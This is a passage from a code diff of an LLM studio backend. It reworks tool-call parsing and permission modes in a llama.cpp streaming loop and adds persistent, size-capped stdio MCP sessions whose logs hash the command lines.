+                                            # would leak its open-ended markup as display text.
                                             _flush_reasoning_and_buffer()
-                                            cleaned = _strip_tool_markup_streaming(
+                                            cleaned = _strip_tool_markup(
                                                 cumulative_display,
+                                                final = True,
                                                 force = True,
                                             )
                                             if len(cleaned) > len(_last_emitted):
@@ -8452,7 +10060,20 @@ class LlamaCppBackend:
                                                         "text": cleaned,
                                                     }
                                             detect_state = _S_DRAINING
-                                        elif is_prefix and len(stripped_buf) < _MAX_BUFFER_CHARS:
+                                            # Live-arg display starts at the held buffer
+                                            # (visible prefix flushed above; UI extracts the code).
+                                            _text_args_call_start = len(content_accum) - len(
+                                                content_buffer
+                                            )
+                                        elif _hold_buffer or (
+                                            is_prefix
+                                            and (
+                                                is_rehearsal_prefix
+                                                or len(stripped_buf) < _MAX_BUFFER_CHARS
+                                            )
+                                        ):
+                                            # A rehearsal prefix is self-bounded; the buffer
+                                            # cap must not cut long MCP names short.
                                             pass  # keep buffering
                                         else:
                                             # Not a tool -- flush buffer
@@ -8463,12 +10084,20 @@ class LlamaCppBackend:
                                             cleaned = _strip_tool_markup(
                                                 cumulative_display,
                                             )
-                                            if len(cleaned) > len(_last_emitted):
-                                                _last_emitted = cleaned
+                                            # Same trailing-name hold as STREAMING for this
+                                            # first flush out of BUFFERING.
+                                            _hold = _held_rehearsal_tail_len(cleaned, _detect_tools)
+                                            _emit = (
+                                                cleaned[: len(cleaned) - _hold]
+                                                if _hold
+                                                else cleaned
+                                            )
+                                            if len(_emit) > len(_last_emitted):
+                                                _last_emitted = _emit
                                                 if not _suppress_visible_output:
                                                     yield {
                                                         "type": "content",
-                                                        "text": cleaned,
+                                                        "text": _emit,
                                                     }
 
                             except json.JSONDecodeError:
@@ -8479,7 +10108,18 @@ class LlamaCppBackend:
                 # ── Resolve BUFFERING at stream end ──
                 if detect_state == _S_BUFFERING:
                     stripped_buf = content_buffer.lstrip()
-                    if stripped_buf and any(s in stripped_buf for s in _tool_xml_signals):
+                    # A held bare-JSON fragment has no XML signal; route it to DRAINING (the signal-only
+                    # gate below would flush the raw JSON to the user).
+                    _bare_eos = strip_llama3_leading_sentinels(stripped_buf)
+                    # Gate on enabled names so an ordinary JSON answer isn't routed to DRAINING and dropped.
+                    _is_bare_tc = bool(active_tools) and _looks_like_enabled_bare_json(
+                        _bare_eos, _enabled_tool_names
+                    )
+                    if stripped_buf and _gguf_has_genuine_tool_signal(
+                        stripped_buf, _tool_xml_signals, _detect_tools
+                    ):
+                        detect_state = _S_DRAINING
+                    elif _is_bare_tc:
                         detect_state = _S_DRAINING
                     elif content_accum or reasoning_accum:
                         detect_state = _S_STREAMING
@@ -8495,7 +10135,9 @@ class LlamaCppBackend:
                                     ),
                                 }
                         elif reasoning_accum and not has_content_tokens:
-                            # Reasoning-only reply: show it as plain text.
+                            # Reasoning-only reply: show it as the main response,
+                            # not a thinking block (mirrors the no-tool path; the
+                            # route's extractor closes the streamed <think>).
                             if _reasoning_started_at is not None and not _reasoning_summary_emitted:
                                 _reasoning_summary_emitted = True
                                 yield _reasoning_summary_event(_reasoning_started_at)
@@ -8506,20 +10148,26 @@ class LlamaCppBackend:
                                     "text": cumulative_display,
                                 }
                     else:
+                        # Held buffer was no tool signal and no enabled bare-JSON call: a leading ``{`` is an
+                        # ordinary JSON answer and must be shown; any other partial-markup prefix is dropped.
+                        _held = strip_llama3_leading_sentinels(content_buffer.lstrip())
+                        if _held.startswith("{") and not _suppress_visible_output:
+                            yield {"type": "content", "text": _held}
                         return
 
                 # ── STREAMING path: no tool call ──
                 if detect_state == _S_STREAMING:
-                    # Safety net: check for XML tool signals in content. The
+                    # Safety net: re-parse the full content for tool calls. The
                     # route layer resets prev_text on tool_start, so post-tool
                     # synthesis streams correctly even if content was emitted
                     # before the tool XML.
-                    _safety_tc = None
-                    if any(s in content_accum for s in _tool_xml_signals):
-                        _safety_tc = self._parse_tool_calls_from_text(
-                            content_accum,
-                            allow_incomplete = auto_heal_tool_calls,
-                        )
+                    # Unconditional (not gated on _tool_xml_signals): bare-JSON and Gemma wrapper-less
+                    # calls carry no XML signal, so a signal gate would let them slip past.
+                    _safety_tc = self._parse_tool_calls_from_text(
+                        content_accum,
+                        allow_incomplete = auto_heal_tool_calls,
+                        enabled_tool_names = _enabled_tool_names,
+                    )
                     if not _safety_tc:
                         # ── Re-prompt on plan-without-action ──
                         # If the model described its intent (forward-looking
@@ -8537,8 +10185,10 @@ class LlamaCppBackend:
                             r"(?i)\brender[_\s-]?html\b",
                             _stripped,
                         )
+                        # None keeps the default-on re-prompt; False disables it.
                         if (
                             auto_heal_tool_calls
+                            and (nudge_tool_calls is None or nudge_tool_calls)
                             and active_tools
                             and not _render_html_already_done_intent
                             and _reprompt_count < _MAX_REPROMPTS
@@ -8567,12 +10217,7 @@ class LlamaCppBackend:
                             conversation.append(
                                 {
                                     "role": "user",
-                                    "content": (
-                                        "You have access to enabled tools. If a tool is needed to satisfy "
-                                        "the user's request or complete the action you described, call "
-                                        f"{tool_hint} now. If no tool is needed, provide the final answer "
-                                        "and follow the user's requested format."
-                                    ),
+                                    "content": _reprompt_to_act_message(tool_hint),
                                 }
                             )
                             # Accumulate tokens and timing from this iteration.
@@ -8604,6 +10249,12 @@ class LlamaCppBackend:
                                         "type": "content",
                                         "text": forced_visible_text,
                                     }
+                        elif not _suppress_visible_output:
+                            # Turn ended as a plain answer (no [ARGS] followed): the held
+                            # rehearsal tail is real prose, release it.
+                            _final_clean = _strip_tool_markup_streaming(cumulative_display)
+                            if len(_final_clean) > len(_last_emitted):
+                                yield {"type": "content", "text": _final_clean}
 
                         # Content was already streamed.  Yield metadata.
                         yield {"type": "status", "text": ""}
@@ -8636,10 +10287,13 @@ class LlamaCppBackend:
                             for i in sorted(tool_calls_acc)
                             if (tool_calls_acc[i].get("function", {}).get("name", "").strip())
                         ] or None
-                    if not tool_calls and any(s in content_accum for s in _tool_xml_signals):
+                    if not tool_calls:
+                        # Unconditional re-parse: we only reach DRAINING when the buffer looked like a
+                        # call, and bare-JSON / Gemma wrapper-less calls carry no XML signal to gate on.
                         tool_calls = self._parse_tool_calls_from_text(
                             content_accum,
                             allow_incomplete = auto_heal_tool_calls,
+                            enabled_tool_names = _enabled_tool_names,
                         )
                     if tool_calls and not has_structured_tc:
                         content_text = _strip_tool_markup(
@@ -8647,19 +10301,42 @@ class LlamaCppBackend:
                             final = True,
                             force = True,
                         )
+                        # ``_strip_tool_markup`` only knows XML; also drop a leading bare-JSON call so the
+                        # executed call isn't replayed as text or next-turn history.
+                        content_text = strip_leading_bare_json_call(
+                            content_text, _enabled_tool_names
+                        )
                     if tool_calls:
                         logger.info(
                             f"Parsed {len(tool_calls)} tool call(s) from "
                             f"{'structured delta' if has_structured_tc else 'content text'}"
                         )
                     if not tool_calls:
-                        # DRAINING but no tool calls (false positive). Merge
-                        # accumulated metrics from prior tool iterations so
-                        # they aren't silently dropped.
+                        # DRAINING but no tool calls (false positive): close any
+                        # provisional cards (a sniff can open one whose call never
+                        # parses); without a tool_end the card spins forever.
+                        for _pid, _pname in provisional_started_tool_calls.items():
+                            if _pid not in resolved_provisional_tool_call_ids:
+                                resolved_provisional_tool_call_ids.add(_pid)
+                                yield {
+                                    "type": "tool_end",
+                                    "tool_name": _pname,
+                                    "tool_call_id": _pid,
+                                    "result": "",
+                                    "provenance": tool_event_provenance(provisional = True),
+                                }
+                        # Merge metrics from prior tool iterations so they aren't dropped.
                         yield {"type": "status", "text": ""}
                         if content_accum:
                             # Strip leaked tool-call XML before yielding.
                             content_accum = _strip_tool_markup(content_accum, final = True)
+                        # A truncated bare-JSON call has no XML markup to strip and didn't parse. With
+                        # Auto-Heal on, drop a leading ENABLED-tool fragment (ordinary JSON answers untouched);
+                        # off keeps it visible per the strict contract.
+                        if content_accum and active_tools and auto_heal_tool_calls:
+                            content_accum = strip_leading_bare_json_call(
+                                content_accum, _enabled_tool_names
+                            )
                         if content_accum:
                             yield {"type": "content", "text": content_accum}
                         _meta = _build_metadata_event(
@@ -8677,6 +10354,29 @@ class LlamaCppBackend:
                 _accumulated_predicted_ms += _it.get("predicted_ms", 0)
                 _accumulated_predicted_n += _it.get("predicted_n", 0)
 
+                # Collapse exact-duplicate calls and cap the count for the TEXTUAL
+                # fallback (mirrors the safetensors loop; see _MAX_TOOL_CALLS_PER_TURN).
+                if tool_calls and not has_structured_tc and len(tool_calls) > 1:
+                    _seen_keys: set = set()
+                    _deduped: list = []
+                    for _tc in tool_calls:
+                        _fn = _tc.get("function", {}) or {}
+                        _key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
+                        if _key in _seen_keys:
+                            continue
+                        _seen_keys.add(_key)
+                        _deduped.append(_tc)
+                        if len(_deduped) >= _MAX_TOOL_CALLS_PER_TURN:
+                            break
+                    if len(_deduped) != len(tool_calls):
+                        logger.info(
+                            "GGUF textual fallback: collapsed %d repeated tool call(s) "
+                            "in one turn to %d",
+                            len(tool_calls),
+                            len(_deduped),
+                        )
+                    tool_calls = _deduped
+
                 # disable_parallel_tool_use: execute only the first tool call
                 # this turn. Truncate before building assistant_msg so the
                 # conversation stays consistent and extra calls are never executed.
@@ -8685,10 +10385,26 @@ class LlamaCppBackend:
 
                 assistant_msg: dict = {"role": "assistant", "content": content_text}
                 assistant_appended = False
+                # Collect no-op nudges and flush them after the batch, so a no-op
+                # doesn't abort it and drop the parallel calls that follow.
+                deferred_noop_msgs: list = []
+
+                # The text-path provisional card uses the parser's default id ("call_0");
+                # a Mistral-style call carries its own id and would open a duplicate. Reuse
+                # the card's id for the first matching call (same tool name) to reconcile.
+                _text_provisional_id = _text_args_id if not has_structured_tc else ""
 
                 for tc in tool_calls or []:
                     func = tc.get("function", {})
                     tool_name = func.get("name", "")
+                    if (
+                        _text_provisional_id
+                        and _text_provisional_id in provisional_started_tool_calls
+                        and _text_provisional_id not in resolved_provisional_tool_call_ids
+                        and tc.get("id") not in provisional_started_tool_calls
+                        and provisional_started_tool_calls[_text_provisional_id] == tool_name
+                    ):
+                        tc = {**tc, "id": _text_provisional_id}
                     provisional_match = tc.get("id") in provisional_started_tool_calls
                     decision = tool_controller.prepare_call(
                         tc,
@@ -8714,14 +10430,14 @@ class LlamaCppBackend:
                                 "provenance": decision.provenance,
                             }
                         completion = tool_controller.record_noop(decision)
-                        conversation.append(completion.model_message())
+                        deferred_noop_msgs.append(completion.model_message())
                         if _forced_tool_call_pending:
                             _forced_tool_call_pending = False
                         logger.info(
                             "Suppressed local GGUF tool call as internal no-op: "
                             f"action={decision.action} tool={decision.tool_name}"
                         )
-                        break
+                        continue
 
                     if not assistant_appended:
                         assistant_msg["tool_calls"] = [decision.as_assistant_tool_call()]
@@ -8734,7 +10450,18 @@ class LlamaCppBackend:
 
                     # Bypass wins over the confirm gate at the loop level too,
                     # so a direct internal caller with both flags never prompts.
-                    needs_confirm = bool(confirm_tool_calls) and not bypass_permissions
+                    # In "auto" mode only calls detected as potentially unsafe
+                    # pause; read-only calls run straight through. "off" never
+                    # prompts (sandbox stays on).
+                    needs_confirm = (
+                        bool(confirm_tool_calls)
+                        and not bypass_permissions
+                        and permission_mode != "off"
+                    )
+                    if needs_confirm and permission_mode == "auto":
+                        needs_confirm = is_potentially_unsafe_tool_call(
+                            decision.tool_name, decision.arguments
+                        )
                     approval_id = new_approval_id() if needs_confirm else ""
                     decision_slot = (
                         begin_tool_decision(session_id, approval_id) if needs_confirm else None
@@ -8789,25 +10516,48 @@ class LlamaCppBackend:
                     ):
                         result = RAG_SEARCH_CAP_NUDGE
                     else:
-                        result = execute_tool(
-                            decision.tool_name,
-                            decision.arguments,
+                        # Execute in a worker thread so live stdout chunks and heartbeats
+                        # stream while the tool blocks (the SSE route turns heartbeats into
+                        # keepalives). Result is byte-identical to a direct call.
+                        def _invoke_tool(_output_callback, _decision = decision):
+                            # execute_tool is injectable and may be monkey-patched with the
+                            # pre-PR signature; forward output_callback only if it's accepted.
+                            kwargs = dict(
+                                cancel_event = cancel_event,
+                                timeout = _effective_timeout,
+                                session_id = session_id,
+                                thread_id = thread_id,
+                                rag_scope = rag_scope,
+                                disable_sandbox = bypass_permissions,
+                            )
+                            if accepts_output_callback(execute_tool):
+                                kwargs["output_callback"] = _output_callback
+                            return execute_tool(
+                                _decision.tool_name,
+                                _decision.arguments,
+                                **kwargs,
+                            )
+
+                        result = yield from stream_tool_execution(
+                            _invoke_tool,
+                            tool_name = decision.tool_name,
+                            tool_call_id = decision.tool_call_id,
                             cancel_event = cancel_event,
-                            timeout = _effective_timeout,
-                            session_id = session_id,
-                            rag_scope = rag_scope,
-                            disable_sandbox = bypass_permissions,
                         )
                         if decision.tool_name == "search_knowledge_base":
                             _kb_search_count += 1
                     completion = tool_controller.record_result(decision, result)
                     resolved_provisional_tool_call_ids.add(decision.tool_call_id)
+                    # A tool ran this turn, so it counts against the caller's budget.
+                    _turn_executed_real_tool = True
                     yield completion.tool_end_event()
                     conversation.append(completion.tool_message())
 
                     if _forced_tool_call_pending:
                         _forced_tool_call_pending = False
 
+                append_deferred_nudges(conversation, deferred_noop_msgs)
+
                 # Close provisional cards not resolved by execution/no-op handling.
                 for _pid, _pname in provisional_started_tool_calls.items():
                     if _pid not in resolved_provisional_tool_call_ids:
@@ -8825,8 +10575,16 @@ class LlamaCppBackend:
                 if tool_controller.force_final_answer or not tool_controller.active_tools():
                     _append_budget_exhausted_nudge = False
                     break
+                # Count only real tool turns against the cap so reserved re-prompt slots can't become
+                # extra tool rounds; a no-op correction turn doesn't consume budget (GGUF parity).
+                if _turn_executed_real_tool:
+                    _tool_iters_done += 1
+                    if _tool_iters_done >= max_tool_iterations:
+                        break
                 continue
 
+            except _LlamaStreamCancelled:
+                return
             except httpx.ConnectError:
                 # Mark unresolved provisional cards as failed before raising.
                 for _pid, _pname in provisional_started_tool_calls.items():
@@ -9009,6 +10767,8 @@ class LlamaCppBackend:
                 if _meta is not None:
                     yield _meta
 
+        except _LlamaStreamCancelled:
+            return
         except httpx.ConnectError:
             raise RuntimeError("Lost connection to llama-server")
         except Exception as e:
diff --git a/studio/backend/core/inference/mcp_client.py b/studio/backend/core/inference/mcp_client.py
index 7bd4a7d6e9..6b5ce02216 100644
--- a/studio/backend/core/inference/mcp_client.py
+++ b/studio/backend/core/inference/mcp_client.py
@@ -4,11 +4,16 @@
 from __future__ import annotations
 
 import asyncio
+import atexit
+import concurrent.futures
+import hashlib
 import json
 import os
 import shlex
 import sys
+import threading
 import time
+import uuid
 from typing import Any, Optional
 
 from loggers import get_logger
@@ -115,6 +120,18 @@ def join_stdio_command(parts: list[str]) -> str:
     return shlex.join(parts)
 
 
+def _stdio_log_id(url: str) -> str:
+    """A non-secret label for logs. stdio commands can embed credentials in argv
+    (e.g. ``npx server --token sk-...``), so never log the raw command; use the
+    executable basename plus a short digest of the full command instead."""
+    try:
+        parts = parse_stdio_command(url)
+        exe = os.path.basename(parts[0]) if parts else "<empty>"
+    except Exception:  # noqa: BLE001
+        exe = "<invalid>"
+    return f"{exe}#{hashlib.sha256(url.encode()).hexdigest()[:12]}"
+
+
 def stdio_mcp_enabled() -> bool:
     """stdio MCP servers spawn local processes as the backend user (bypassing the
     sandbox), so allowed only when the host is the user's own machine. On startup
@@ -192,7 +209,6 @@ async def clear_oauth_tokens_async(url: str) -> None:
         auth = OAuth(mcp_url = url, token_storage = _oauth_store())
         await auth.token_storage_adapter.clear()
     except Exception as exc:  # noqa: BLE001
-        # Cleanup is best-effort; the row delete still wins.
         logger.warning("Failed to clear OAuth tokens for %s: %s", url, exc)
 
 
@@ -237,6 +253,502 @@ def _client(
     return Client(transport_cls(url = url, headers = headers or None, auth = auth))
 
 
+# Persistent stdio sessions: a stdio MCP server owns live state (a browser, a
+# DB handle), so keep one connected client per (command, env, chat session) on
+# a dedicated event-loop thread instead of respawning per call.
+
+_STDIO_SESSION_IDLE_TTL = 300.0
+_STDIO_SESSION_REAP_INTERVAL = 30.0
+_STDIO_CONNECT_TIMEOUT = 60.0  # allows first-run `npx -y ...` package download
+_STDIO_CLOSE_TIMEOUT = 10.0
+_STDIO_WEDGE_MARGIN = 15.0
+# Cap concurrent persistent sessions: each owns a subprocess + loop thread, and
+# the scope includes a caller-supplied thread_id, so an unbounded cache is a
+# resource-exhaustion surface. Overridable via env for large deployments.
+try:
+    _STDIO_MAX_SESSIONS = max(1, int(os.environ.get("UNSLOTH_STUDIO_MAX_STDIO_MCP_SESSIONS", "32")))
+except ValueError:
+    _STDIO_MAX_SESSIONS = 32
+
+
+def _is_tool_error(exc: BaseException) -> bool:
+    """A tool-level failure (the tool ran and errored) leaves the transport alive,
+    so the session is kept; fastmcp raises ToolError for these. Anything else from
+    call_tool is transport-level. Version-safe (fastmcp 3.0.2 has no dead probe)."""
+    try:
+        from fastmcp.exceptions import ToolError
+    except Exception:  # noqa: BLE001
+        return False
+    return isinstance(exc, ToolError)
+
+
+def _transport_dead(session) -> bool:
+    """Best-effort, version-adaptive liveness probe for a cached stdio client.
+    ``Client.is_connected()`` only checks a session object exists, not that the
+    subprocess is alive, so it is never used here. Returns True only when the
+    transport is positively gone; unknown returns False (the call surfaces it)."""
+    client = getattr(session, "client", None)
+    if client is None:
+        return True
+    transport = getattr(client, "transport", None)
+    probe = getattr(transport, "_is_session_dead", None)
+    if callable(probe):
+        try:
+            if probe():
+                return True
+        except Exception:  # noqa: BLE001
+            pass
+    connect_task = getattr(transport, "_connect_task", None)
+    if connect_task is not None:
+        try:
+            if connect_task.done():
+                return True
+        except Exception:  # noqa: BLE001
+            pass
+    return False
+
+
+class _SessionWedged(Exception):
+    pass
+
+
+class _SessionClosed(Exception):
+    """The session was closed (server update/delete/shutdown) mid-call."""
+
+
+def _abort_future(future) -> None:
+    # Let the cancelled coroutine unwind before its loop is stopped.
+    future.cancel()
+    try:
+        future.result(1.0)
+    except BaseException:  # noqa: BLE001
+        pass
+
+
+class _StdioSession:
+    def __init__(self, url: str, headers: Optional[dict]):
+        self.url = url
+        self.headers = headers
+        self.client = None
+        self.closed = threading.Event()
+        self.defunct = False  # discarded; close once in_flight drains (see _retire)
+        self._close_lock = threading.Lock()
+        self.call_lock = threading.Lock()  # serializes tool calls on this session
+        self.last_used = time.monotonic()
+        self.in_flight = 0  # guarded by _stdio_sessions_lock
+        # On Windows a bare new_event_loop() can be a SelectorEventLoop (if any
+        # component set that policy), which cannot spawn subprocesses natively;
+        # force a ProactorEventLoop so the stdio transport always works.
+        if sys.platform == "win32":
+            self.loop = asyncio.ProactorEventLoop()
+        else:
+            self.loop = asyncio.new_event_loop()
+        self._thread = threading.Thread(
+            target = self._run_loop, name = "mcp-stdio-session", daemon = True
+        )
+        self._thread.start()
+
+    def _run_loop(self) -> None:
+        asyncio.set_event_loop(self.loop)
+        try:
+            self.loop.run_forever()
+        finally:
+            self.loop.close()
+
+    def connect(self, timeout: Optional[float], cancel_event) -> None:
+        async def _open():
+            client = _client(self.url, self.headers)
+            await client.__aenter__()
+            # Publish on the loop thread with no await in between: if an abort
+            # races a just-completed connect, close() still sees the client and
+            # __aexit__s it instead of orphaning the subprocess.
+            self.client = client
+            return client
+
+        future = asyncio.run_coroutine_threadsafe(_open(), self.loop)
+        # timeout=None means unlimited (no connect deadline); a finite caller
+        # timeout still bounds connect by min(timeout, _STDIO_CONNECT_TIMEOUT).
+        window = None if timeout is None else min(timeout, _STDIO_CONNECT_TIMEOUT)
+        deadline = None if window is None else time.monotonic() + window
+        while True:
+            if cancel_event is not None and cancel_event.is_set():
+                _abort_future(future)
+                raise _MCPCancelled
+            try:
+                future.result(0.05)
+                return
+            except (concurrent.futures.TimeoutError, asyncio.TimeoutError):
+                if future.done():
+                    raise  # the connect itself failed fast; don't wait out the window
+                if deadline is not None and time.monotonic() >= deadline:
+                    _abort_future(future)
+                    raise asyncio.TimeoutError
+
+    def is_connected(self) -> bool:
+        client = self.client
+        if client is None:
+            return False
+        probe = getattr(client, "is_connected", None)
+        try:
+            return bool(probe()) if callable(probe) else True
+        except Exception:
+            return False
+
+    def run(self, coro, timeout: Optional[float]):
+        self.last_used = time.monotonic()
+        future = asyncio.run_coroutine_threadsafe(coro, self.loop)
+        # The coroutine enforces the tool timeout; the margin only catches a
+        # wedged loop. No deadline at all when the caller set none -- but poll
+        # so a session closed under us (server update/delete) can't hang the
+        # request thread forever on a stopped loop.
+        deadline = None if timeout is None else time.monotonic() + timeout + _STDIO_WEDGE_MARGIN
+        try:
+            while True:
+                try:
+                    return future.result(0.25)
+                except concurrent.futures.CancelledError:
+                    # Only close() cancels in-flight tasks (in _shutdown).
+                    raise _SessionClosed
+                except (concurrent.futures.TimeoutError, asyncio.TimeoutError):
+                    if future.done():
+                        raise  # the call's own timeout; the session stays usable
+                    if self.closed.is_set():
+                        future.cancel()
+                        raise _SessionClosed
+                    if deadline is not None and time.monotonic() >= deadline:
+                        future.cancel()
+                        raise _SessionWedged
+        finally:
+            self.last_used = time.monotonic()
+
+    def close(self) -> None:
+        # Idempotent: a discard racing close_stdio_sessions() may close twice.
+        # Setting `closed` first also unblocks run() waiters (they poll it).
+        with self._close_lock:
+            if self.closed.is_set():
+                return
+            self.closed.set()
+        loop = getattr(self, "loop", None)
+        loop_alive = loop is not None and not loop.is_closed()
+        if loop_alive:
+
+            async def _shutdown() -> None:
+                # Runs on the loop thread, so it serializes with an aborted
+                # connect() that finished anyway and just published its client.
+                client, self.client = self.client, None
+                if client is not None:
+                    await client.__aexit__(None, None, None)
+                # Cancel in-flight calls so they unwind before loop.stop
+                # (their run() waiters have already been released via `closed`).
+                for task in asyncio.all_tasks():
+                    if task is not asyncio.current_task():
+                        task.cancel()
+
+            try:
+                asyncio.run_coroutine_threadsafe(_shutdown(), loop).result(_STDIO_CLOSE_TIMEOUT)
+            except Exception as exc:  # noqa: BLE001
+                logger.warning(
+                    "MCP stdio session close failed for %s: %s",
+                    _stdio_log_id(getattr(self, "url", "")),
+                    exc,
+                )
+            try:
+                loop.call_soon_threadsafe(loop.stop)
+            except RuntimeError:
+                pass
+        else:
+            self.client = None
+        thread = getattr(self, "_thread", None)
+        if thread is not None:
+            thread.join(timeout = 5.0)
+
+
+_stdio_sessions: dict[tuple, _StdioSession] = {}
+
+
+# Per-key locks so a slow connect/close never blocks unrelated servers; the
+# global lock only guards the dicts.
+class _StdioKeyLock:
+    """A per-key lock that can be removed once nobody references it."""
+
+    def __init__(self) -> None:
+        self.lock = threading.Lock()
+        self.users = 0  # guarded by _stdio_sessions_lock
+
+
+_stdio_key_locks: dict[tuple, _StdioKeyLock] = {}
+_stdio_sessions_lock = threading.Lock()
+_stdio_reaper_started = False
+# close_stdio_sessions() can only close sessions already published in
+# _stdio_sessions; one still inside connect() would be missed and cached
+# stale. Bump a generation on every close so that connect discards its
+# session instead of publishing it. Guarded by _stdio_sessions_lock.
+_stdio_close_all_gen = 0
+_stdio_url_close_gen: dict[str, int] = {}
+_stdio_cfg_close_gen: dict[tuple, int] = {}
+
+# close_stdio_sessions(url): match any env for that command.
+_ANY_HEADERS = object()
+
+
+def _headers_key(headers: Optional[dict]) -> tuple:
+    return tuple(sorted((headers or {}).items()))
+
+
+def _url_close_key(url: str) -> str:
+    # Commands/URLs (token args, embedded credentials) and env values can hold
+    # secrets and these maps are never pruned; key by digest so closed/edited
+    # configs don't retain them in memory forever.
+    return hashlib.sha256(url.encode()).hexdigest()
+
+
+def _cfg_close_key(url: str, headers: Optional[dict]) -> str:
+    return hashlib.sha256(repr((url, _headers_key(headers))).encode()).hexdigest()
+
+
+def _stdio_close_generation(url: str, headers: Optional[dict]) -> tuple[int, int, int]:
+    return (
+        _stdio_close_all_gen,
+        _stdio_url_close_gen.get(_url_close_key(url), 0),
+        _stdio_cfg_close_gen.get(_cfg_close_key(url, headers), 0),
+    )
+
+
+def _session_key(url: str, headers: Optional[dict], scope: Optional[str]) -> tuple:
+    return (url, _headers_key(headers), scope or "")
+
+
+def _checkout_stdio_session(key: tuple) -> Optional[_StdioSession]:
+    session = _stdio_sessions.get(key)
+    if session is not None and session.is_connected():
+        session.last_used = time.monotonic()
+        session.in_flight += 1
+        return session
+    return None
+
+
+def _borrow_stdio_key_lock(key: tuple) -> _StdioKeyLock:
+    """Return a stable per-key lock while a caller waits for/connects it."""
+    key_lock = _stdio_key_locks.setdefault(key, _StdioKeyLock())
+    key_lock.users += 1
+    return key_lock
+
+
+def _discard_stdio_key_lock(key: tuple) -> None:
+    key_lock = _stdio_key_locks.get(key)
+    if key_lock is not None and key_lock.users == 0 and key not in _stdio_sessions:
+        _stdio_key_locks.pop(key, None)
+
+
+def _return_stdio_key_lock(key: tuple, key_lock: _StdioKeyLock) -> None:
+    with _stdio_sessions_lock:
+        key_lock.users -= 1
+        _discard_stdio_key_lock(key)
+
+
+def _get_stdio_session(
+    url: str, headers: Optional[dict], scope: Optional[str], deadline, cancel_event, config_check
+) -> _StdioSession:
+    """``deadline`` is the caller's absolute monotonic budget (None = no limit):
+    the key-lock wait and the connect share it, so a slow startup can't stack
+    full timeout windows (see _call_stdio_tool)."""
+    global _stdio_reaper_started
+    key = _session_key(url, headers, scope)
+    with _stdio_sessions_lock:
+        session = _checkout_stdio_session(key)
+        if session is not None:
+            return session
+        key_lock = _borrow_stdio_key_lock(key)
+    try:
+        # Poll the acquire with connect()'s deadline/cancel semantics: a second
+        # same-scope call must not block uncancellably behind another caller's
+        # slow startup (e.g. a first-run npx download).
+        remaining = None if deadline is None else max(0.0, deadline - time.monotonic())
+        # timeout=None means no key-lock deadline (only cancel unblocks it).
+        window = None if remaining is None else min(remaining, _STDIO_CONNECT_TIMEOUT)
+        lock_deadline = None if window is None else time.monotonic() + window
+        while not key_lock.lock.acquire(timeout = 0.05):
+            if cancel_event is not None and cancel_event.is_set():
+                raise _MCPCancelled
+            if lock_deadline is not None and time.monotonic() >= lock_deadline:
+                raise asyncio.TimeoutError
+        try:
+            stale = None
+            with _stdio_sessions_lock:
+                session = _checkout_stdio_session(key)
+                if session is not None:
+                    return session
+                if key in _stdio_sessions:
+                    stale = _stdio_sessions.pop(key)
+                generation = _stdio_close_generation(url, headers)
+            if stale is not None:
+                _retire_stdio_session(stale)
+            session = _StdioSession(url, headers)
+            try:
+                session.connect(
+                    None if deadline is None else max(0.0, deadline - time.monotonic()),
+                    cancel_event,
+                )
+            except Exception:
+                session.close()
+                raise
+            # A caller can read the server row, then lose to an update/delete whose close ran
+            # before our generation snapshot. Re-verify the row after connect; the generation check
+            # below covers a close landing between this check and publish.
+            if config_check is not None:
+                try:
+                    current = bool(config_check())
+                except Exception:  # noqa: BLE001
+                    current = False
+                if not current:
+                    session.close()
+                    raise RuntimeError("MCP server was updated or removed while connecting")
+            evicted: list = []
+            with _stdio_sessions_lock:
+                closed_while_connecting = _stdio_close_generation(url, headers) != generation
+                if not closed_while_connecting:
+                    session.in_flight = 1
+                    evicted = _evict_stdio_lru_locked()  # bound the cache (LRU idle)
+                    _stdio_sessions[key] = session
+                    if not _stdio_reaper_started:
+                        _stdio_reaper_started = True
+                        threading.Thread(
+                            target = _stdio_session_reaper, name = "mcp-stdio-reaper", daemon = True
+                        ).start()
+                        atexit.register(close_stdio_sessions)
+            for victim in evicted:
+                logger.info("Evicting LRU idle stdio MCP session: %s", _stdio_log_id(victim.url))
+                victim.close()
+            if closed_while_connecting:
+                session.close()
+                raise RuntimeError("MCP server was updated or removed while connecting")
+            return session
+        finally:
+            key_lock.lock.release()
+    finally:
+        _return_stdio_key_lock(key, key_lock)
+
+
+def _release_stdio_session(session: _StdioSession) -> None:
+    victims: list = []
+    with _stdio_sessions_lock:
+        session.in_flight = max(0, session.in_flight - 1)
+        session.last_used = time.monotonic()
+        close_now = session.defunct and session.in_flight == 0
+        # Re-enforce the cap once a burst's sessions go idle. Insert-time eviction
+        # only trims idle sessions, so it can overshoot while every cached session
+        # is busy; reclaim that overshoot here instead of waiting for the idle
+        # reaper. Never evict the session we just used (its last_used is newest).
+        while len(_stdio_sessions) > _STDIO_MAX_SESSIONS:
+            idle = [
+                (s.last_used, k)
+                for k, s in _stdio_sessions.items()
+                if s.in_flight == 0 and s is not session
+            ]
+            if not idle:
+                break
+            _, oldest = min(idle, key = lambda item: item[0])
+            victims.append(_stdio_sessions.pop(oldest))
+            _discard_stdio_key_lock(oldest)
+    if close_now:
+        session.close()
+    for victim in victims:
+        victim.close()
+
+
+def _retire_stdio_session(session: _StdioSession) -> None:
+    """Close a discarded session, but only once no other borrower is mid-call
+    on it -- overlapping same-scope calls share one client, and one call's
+    timeout must not kill another's in-flight request. The last borrower's
+    _release_stdio_session() performs the deferred close."""
+    with _stdio_sessions_lock:
+        session.defunct = True
+        busy = session.in_flight > 0
+    if not busy:
+        session.close()
+
+
+def _drop_stdio_session(key: tuple, session: _StdioSession) -> None:
+    with _stdio_sessions_lock:
+        if _stdio_sessions.get(key) is session:
+            _stdio_sessions.pop(key)
+        _discard_stdio_key_lock(key)
+    _retire_stdio_session(session)
+
+
+def _evict_stdio_lru_locked() -> list:
+    """Caller holds _stdio_sessions_lock. Evict least-recently-used *idle*
+    sessions until the cache is under the cap. Returns the evicted sessions so
+    the caller can close them OUTSIDE the lock. If every session is busy the
+    cache may transiently overshoot rather than kill an in-flight call."""
+    victims: list = []
+    while len(_stdio_sessions) >= _STDIO_MAX_SESSIONS:
+        idle = [(s.last_used, k) for k, s in _stdio_sessions.items() if s.in_flight == 0]
+        if not idle:
+            break
+        _, oldest = min(idle, key = lambda item: item[0])
+        victims.append(_stdio_sessions.pop(oldest))
+        _discard_stdio_key_lock(oldest)
+    return victims
+
+
+def close_stdio_sessions(url: Optional[str] = None, headers = _ANY_HEADERS) -> None:
+    """Close persistent stdio sessions: all of them (``url`` None), every env
